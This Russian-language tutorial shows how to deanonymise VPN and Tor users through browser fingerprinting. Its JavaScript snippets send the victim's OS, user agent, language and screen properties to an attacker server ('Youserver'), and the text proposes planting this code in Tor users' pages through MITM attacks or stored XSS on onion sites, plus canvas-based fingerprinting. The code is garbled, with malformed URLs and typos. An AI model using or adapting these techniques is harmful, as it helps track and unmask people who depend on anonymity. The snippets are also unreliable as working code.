Деанонимизация пользователей в VPN или TOR
Многие думают, что раз они настроили VPN или Tor, то шанс, что их вычислят равен 0. Они не правы. Вообще, что значит сам термин Деанонимизация?
Деанонимизация - это нарушение анонимности, когда о вас узнают, то что вы скрывали начиная от ip адреса, заканчивая Именем и Фамилией. Все мы оставляем некие цифровые следы или как их еще называют кибер тень. Это информация о нас как долго мы находились в сети, наши куки, информация о разрешении нашего монитора, установленных в системе шрифтов, часового пояса, какие плагины установлены в вашем браузере. Из всех полученных данных составляют цифровой след. Далее идет система мониторинга, т.е идет сравнение следа, где и какие сайты вы посещали. Соглашусь, что звучит это как-то нереально, это действительно рабочий способ, давно применяемый на практике. Итак, давайте приступим к написания скрипта.
Первое, что нам нужно узнать - это OC:
var pic = new Image();
pic.src = 'http:Youserver//?info='+navigator.platform; // OC
Далее нам нужно собрать HTTP заголовки и информацию о браузере:
pic.src ='http:Youserver//?info='+ navigator.appName //Имя браузера
pic.src = 'http:Youserver//?info='+ navigator.userAgent //Агент пользователя
pic.src = 'http:Youserver//?info='+ navigator.appVersion //Версия броузера
pic.src = 'http:Youserver//?info='+ lnavigator.language //Язык системы
Далее соберем как можно более подробную информацию о компьютере:
pic.src = +screen.width //Ширина монитора
pic.scr = 'http:Youserver//?info='+screen.height //Высота монитора
pic.src = 'http:Youserver//?info='+screen.pixelDepth //Разрешение монитора
pic.src = 'http:Youserver//?info='+screen.colorDepth //Цетовая гамма
А этот код выведет оставшуюся информацию из объекта navigator:
for(var prop in navigator) {
if (navigator[prop] instanceof Object || navigator[prop]==='') continue
conole.log(prop+": "+navigator[prop])
}
Так как это вводная статья мы остановимся. И перейдем к способам деанонимизации Tor. Итак, допустим наша цель пользуется Tor и чувствует себя вполне безопасно. Что же мы можем сделать, мы можем провести MITM атаку и вставить Javascript код во все посещаемые страницы. Можем поднять подготовленную страницу под определенную аудиторию, допустим наша цель любит Хакерские форумы. Найти уязвимые к хранимым XSS сайты и вставить наш код. Исследователи просканировали 100 onion сайтов и 30% из них были уязвимы к XSS. Мы можем собрать уникальную БД цифровых следов. Идентифицировать Tor пользователя можно использую функцию:
measureText() и getBoundingClientRect()
Если мы получим уникальное значение, то мы сможем идентифицировать пользователя. Первая функция измеряет ширину текста, а вторая позволяют узнать ширину и высоту прямоугольника. Еще способы идентификации это измерить скорость взаимодействия с колёсиком мыши и получить характеристику CPU пользователя.
Noscript снизит риск всего на 50%. Так что сильно на него не надейтесь. Это была теоретическая статья и в следующей статье мы рассмотрим на практики, где в качестве цели будем идентифицировать пользователей уязвимого onion сайта. Пока насчет MITM атаки не знаю, но XSS будет точно.